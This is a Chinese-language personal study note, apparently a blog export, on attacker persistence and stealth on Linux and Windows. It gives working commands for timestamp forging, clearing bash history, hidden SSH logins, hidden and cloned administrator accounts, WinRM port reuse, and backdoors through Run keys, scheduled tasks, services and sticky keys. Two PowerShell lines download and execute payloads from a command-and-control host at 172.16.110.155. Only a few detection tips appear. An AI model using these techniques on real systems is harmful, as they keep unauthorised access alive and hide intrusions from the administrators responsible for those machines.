type
status
date
slug
summary
tags
category
icon
password
linux
1.隐藏文件&-开头文件
.开头即为隐藏文件,ls -al查找
-开头文件的作用
2.隐藏时间戳
①用其他文件的时间
touch -r “其他文件” ”创建文件“
②自定义修改时间戳
touch -t 0511241130 1.txt
③查看方法
命令:stat
具体效果见代码块:
3.隐藏权限
锁定文件:chattr +i 1.txt
解除锁定:chattr -i 1.txt
4.隐藏删除历史记录
history -d num
echo "">~/.bash_history #重定向为空
5.ssh隐身登录
ssh -T命令
不记录登录信息,无法被who、w、last命令检测
检测方式: 仅能通过日志查询
6.隐身进程
使用github项目创建
适用于:centos
根据官方说明使用即可。
需要注意的是:gcc编译如果不同机器版本不同则可能出现kali机器编译,在目标机器无法执行的情况,所以最好在目标机器进行编译
查找隐藏进程:
apt install unhide
unhide proc#检查是否存在隐藏进程
通过查看动态链接库
/etc/ld.so
或查看近期被创建或者被改名为.so后缀的文件
推荐进程隐藏工具:
https://github.com/gaffe23/linux-inject
7.添加用户密码(一步到位)
8.SUID

9.ssh公私钥免密登录(rsa)
redis利用
10.crontab反弹shell
11.rookit后门
windows
1.隐藏文件
- 假隐藏
文件属性隐藏,dir看不见,但是dir /a可以看见
且设置改为“不显示隐藏的………”时,在资源管理器中也看不见1.txt (此处我是显示)


- 真隐藏
通过命令attrib

相当于给原本的文件增加系统文件属性、存档文件属性、只读文集属性、隐藏文件属性
attrib +s +a +h +r 1.txt
此时哪怕显示隐藏文件夹,依然不会在资源管理器显示,但是dir /a仍然可用

排查方式2:
取消受保护的操作系统文件

- 利用ADS隐藏(数据流)
原理:基于已存在的文件写入数据流
语法:
echo "1" > 1.txtecho "111" > 1.txt:sadassdsadasdassadir /r可查 dir /a不可查



2.隐藏账号和克隆账号
2.0隐藏账号
添加隐藏账户并加入管理员组:
net user test$ qaz123 /add
net localgroup administrators test$ /add
此时用命令查不到test$用户

右键,计算机→管理
正常这里会出现test$用户,我这个盗版win虚拟机没有“本地用户和组”的功能,这是主机截图,虚拟机的命令,所以没显示

2.1 影子账户(这个D盾也能检测到。)
注册表 HKEY_LOCAL_MACHINE\SAM\SAM,首先给SAM文件夹分配权限
然后重新打开regedit就可以查看以下的文件夹

导出它们分别为3.reg,2.reg,1.reg(从上往下)。
3.reg对应的就是administrator用户的值
将它里面的hex值替换到2.reg中

在注册表中删除test$用户,然后重新导入注册表1.reg,2.reg
net user test$ /del
regedit /s 1.reg
regedit /s 2.reg
关闭防火墙,开启远程访问,即可通过3389的远程连接连接到这台计算机,登录的账户为administrator,此处不演示,win10家庭版不具备此功能,已在win2008成功
影子账户(克隆账号)的修复方式:删除对应的注册表即可
3.端口复用
①开启winrm服务(域管win2008)
需要配置
LocalAccountTokenFilterPolicy以允许远程管理本地用户的权限。reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f再开启服务
winrm quickconfig -q
②增加80端口复用(域管win2008)
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
③更改winrm为80端口(域管win2008)
- 默认5985端口开启,不需要更改端口
- 默认5985端口不开启,则更改winrm为80端口,否则会因为端口改变而引起管理员关注
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
④攻击机也需要启动winrm并设置信任连接 (域内win7)

启动winrm
winrm quickconfig -q
设置信任主机地址
winrm set winrm/config/Client @{TrustedHosts="*"}
⑤最后通过以下命令即可执行命令(域内win7)
winrs -r:http://192.168.245.134 -u:administrator -p:hwx1234. whoami
4.进程注入
原理二进制方向,将自己的恶意代码运行于其他进程中(选择常用进程,且尽量无需重启的进程、系统自启)常用进程-桌面服务-explorer(关了之后windows屏幕就是一片漆黑)
实验:
win10主机对win2008先建立一个shell

点击注入选择监听器为1,得到新回连的shell


由于这个进程基本不会关,所以我们shell可以一直存在(除了电脑重启,这就需要之后的自启动配置了)
5.注册表自启动
补充知识:
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run表示任何账户每一次登陆到Windows系统都会自动启动在这个项下面注册的程序
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce表示任何账户下一次登陆到Windows系统会自动启动在这个项下面注册的程序,以后就不会自启了
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run表示当前账户每一次登陆到Windows系统都会自动启动在这个项下面注册的程序
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce表示当前账户下一次登陆到Windows系统会自动启动在这个项下面注册的程序,以后就不会自启了
实验:
路径:
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run修改自启动目录注册表中的键值,字符串值随便写,添加一个木马路径,或powershell指令
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.110.155:8006/a'))"之后每次重启都会cs都会上线这个机器


补充知识:
logon scripts后门
注册表路径:HKEY_CURRENT_USER--------->Environment---------->新建字符串值,与前面的利用方式一样
userinit后门

用户登录时winlogon运行指定的程序,
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWSNT\CUERRNTVERSION\WINLOGON-----
直接在userinit.exe,后加另一个powershell一句话或者木马路径即可


6.组策略启动脚本
gpedit.msc进入,计算机配置-》windows设置-》脚本启动/关机-》启动-》添加脚本
最后重启计算机cs就可以上线了,这个exe就是cs生成的window exe木马

7.计划任务
7.1图形化界面

7.2命令行操作:
创建计划任务:
web投递的链接要用单引号,不能用双引号,但是这个语句写进去后在图形化界面自动就转成
schtasks /create /sc minute /mo 1 /tn "cmd test" /tr 'powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://172.16.110.155:8022/x'))\"'这里还是直接传入exe,写进木马exe的路径即可,类似以下写法,完全没一点问题
schtasks /create /sc minute /mo 1 /tn "test" /tr "c:\windows\system32\cmd.exe"8.服务自启
跟第七个差不多,就用cmd演示一下
sc create "test" binPath= "C:\windows\system32\cmd.exe" start= auto注意,binPath=后必须加空格才能写值,start=也一样,否则语法会报错
9.wmi后门
没有尝试,用的时候再说
10.dll劫持
没有尝试,用的时候再说
11.自带组件后门
粘滞键 触发:狂敲shift
放大镜 触发:win+加号
直接修改木马名为这俩个的程序名,将原来的备份即可
其他的之后再谈